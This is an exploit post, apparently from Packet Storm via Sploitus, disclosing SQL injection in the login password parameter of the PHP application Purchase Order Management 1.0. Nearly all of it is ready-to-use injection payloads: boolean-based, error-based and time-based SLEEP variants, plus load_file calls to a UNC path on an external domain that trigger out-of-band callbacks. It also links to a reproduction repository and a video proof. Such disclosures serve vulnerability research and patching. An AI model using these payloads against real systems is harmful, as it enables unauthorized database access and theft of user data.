Exploit for Purchase Order Management 1.0 SQL Injection

## https://sploitus.com/exploit?id=PACKETSTORM:171237
## Title: Purchase Order Management-1.0 - SQLi  
## Author: nu11secur1ty  
## Date: 03.06.2023  
## Vendor: https://www.sourcecodester.com/user/257130/activity  
## Software: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The `password` parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvik.stupid.com\\aej'))+'  
was submitted in the password parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed.  
  
STATUS: HIGH Vulnerability - CRITICAL  
  
[+]Payload:  
```mysql  
---  
Parameter: password (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: username=pwKLHXbY&password=-4290') OR 6172=6172 AND ('XovE'='XovE  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(select  
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'')  
OR (SELECT 8766 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT  
(ELT(8766=8766,1))),0x7162767871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('dncG'='dncG  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(select  
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'')  
AND (SELECT 7405 FROM (SELECT(SLEEP(3)))pVNf) AND ('fltf'='fltf  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0/SQLi)  
  
## Proof and Exploit:  
[href](https://streamable.com/w173zp)  
  
## Time spend:  
00:35:00  
  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at  
https://packetstormsecurity.com/https://cve.mitre.org/index.html and  
https://www.exploit-db.com/  
home page: https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://packetstormsecurity.com/  
https://cve.mitre.org/index.html  
https://cxsecurity.com/ and https://www.exploit-db.com/  
0day Exploit DataBase https://0day.today/  
home page: https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>